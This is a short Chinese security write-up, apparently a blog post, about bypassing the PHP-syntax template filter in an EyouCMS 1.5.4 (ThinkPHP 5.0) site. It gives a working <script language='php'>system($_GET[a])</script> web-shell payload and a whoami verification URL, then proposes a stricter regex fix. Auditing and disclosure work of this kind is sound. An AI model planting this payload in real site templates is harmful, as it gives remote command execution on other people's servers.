最近要期末考试,审计了一个thinkphp5.0框架的cms,参考大佬博客时,发现1.5.4版本的RCE漏洞利用方法<?= 的格式被过滤了,然后看了看过滤,方式,想到了其他的绕过方法,就是利用我们的script标签语言,来进行绕过;
代码分析
先看具体的过滤代码,仔细看一下if判断函数的代码,可以看到这里过滤了<?php
、<??>
、{eyou:php
、{php
、以及<?=等;
if (preg_match('#<([^?]*)\?php#i', $content) || preg_match('#<\?\=(\s+)#i', $content) || preg_match('#\{eyou\:php([^\}]*)\}#i', $content) || preg_match('#\{php([^\}]*)\}#i', $content)) {
return "模板里不允许有php语法,为了安全考虑,请通过FTP工具进行编辑上传。";
}
具体的绕过如下:
<script language="php">system($_GET[a]);</script>
写入我们的恶意代码后,开启xdebug来进行调试,看下图,可以看到恶意代码成功绕过了正则匹配的判断(其实,不开debug,前端就直接回显了)
漏洞验证:
http://eyoucms:8016/?a=whoami
修复建议:
利用正则匹配,过滤掉script标签的关键字:如language="php"
if (preg_match('#<([^?]*)\?php#i', $content) || preg_match('#<\?(\s*)=#i', $content) || (preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content)) || preg_match('#\{eyou\:php([^\}]*)\}#i', $content) || preg_match('#\{php([^\}]*)\}#i', $content) || preg_match('#(\s+)language(\s*)=(\s*)("|\')?php("|\')?#i', $content)){
return "模板里不允许有php语法,为了安全考虑,请通过FTP工具进行编辑上传。";
}
再次写入我们的script标签,漏洞就不能够再次利用: